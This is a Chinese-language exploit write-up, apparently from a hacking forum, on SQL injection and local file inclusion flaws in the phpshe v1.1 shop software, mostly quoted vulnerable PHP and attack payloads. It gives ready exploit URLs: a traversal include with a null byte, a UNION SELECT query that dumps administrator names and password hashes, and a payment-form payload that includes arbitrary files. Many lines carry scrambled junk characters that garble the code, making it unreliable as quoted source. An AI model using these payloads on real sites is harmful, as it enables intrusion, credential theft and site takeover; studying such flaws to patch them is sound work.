phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
# s. B* b: e3 }, M/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/ l! l' ]/ @( r, F$ _7 c/*******************************************************/
0×00 整体大概参数传输
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; ]' q/ ~" h! {4 u3 ~$ t
( B; ]9 A: h* K3 M
8 k4 N) b3 Z; k+ R//common.php
if (get_magic_quotes_gpc()) {
6 i0 i" V* M$ w!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
3 s7 e! k- m2 E4 Y: Q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
9 j8 a$ J: _0 Ielse {
7 E8 g+ D2 `$ u6 s!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
% n4 L' U* a; P- D}
session_start();
& ^% F; t8 w1 P; J: E!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
, s7 p% i" F) ?# d- H!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
9 j; s+ @. ^. i% g7 V* \
0×01 包含漏洞


//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
; H) H9 m% e+ c7 m0 p. W- u- `8 K/ zinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
4 b8 Q6 ^; a, @3 Q  {# Epe_result();
! J1 g1 |! B' `2 j' w3 }?>
; b/ C& d. g# e# |* Z: A6 F//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
' l- r! I% U' d2 ~  H! q7 |  Y$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入
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; T% H2 i- W% b* a<code id="code2">

//product.php文件
* n* b& }# {$ @( a3 X/ e0 Jcase 'list':
0 I0 _& ?; d" O- G) C$category_id = intval($id);
/ g8 J. v4 S' F$ d! w: m$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
6 |. {4 n0 L. {if ($category_id) {
3 y& k8 \% z1 w8 \' X) Y; |where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
9 Q7 B; v' q+ @$ K$ O4 ~6 ?2 e+ P  M9 {$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
( s! f, I& |- S% T$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
+ V# E, {! v6 G; `8 U}
- m/ R4 u5 z6 s) [5 X+ W! G; ]else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
. P$ R& C4 q5 {2 E2 p$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
) m+ V2 Q; H5 G; i$seo = pe_seo($info['category_name']);
! L/ ]: s+ q% ]2 U. _7 d4 U2 Z& u" dinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
; ~8 s$ r$ p) M' ]public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
3 D' V  y7 I1 K; Q{
- U1 f+ p# M/ R  w% i//处理条件语句
9 Q2 @7 ~) z4 w2 X$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( _9 F4 z: b$ R6 @}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

( m5 L  a/ k! V<code id="code3">

//order.php

case 'pay':

8 E( K. S3 v& ^% Y% }8 n$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

# M4 Q% p* z& M' N8 K# |& E+ Y5 Rforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

& b& F/ V+ l) d5 _- @( aif ($k == 'bank') {

, W- `4 U. z6 X$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

. ~: ]0 @" h# u  i: v6 y}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

6 ]' s# F  a9 m$ dif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
0 y; e* y3 u0 W  }) _1 t

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 n( n; e9 x  v0 [, k0 [}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

# o6 L+ H& K% R* E1 q& {}

}

$seo = pe_seo('选择支付方式');

1 A% K& R' ^# X, l4 n5 p/ jinclude(pe_tpl('order_pay.html'));

  U1 J/ s  t0 b" E* H0 v1 Pbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
2 T% k6 u: k& x) ~( H" z' [1 T0 ahttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg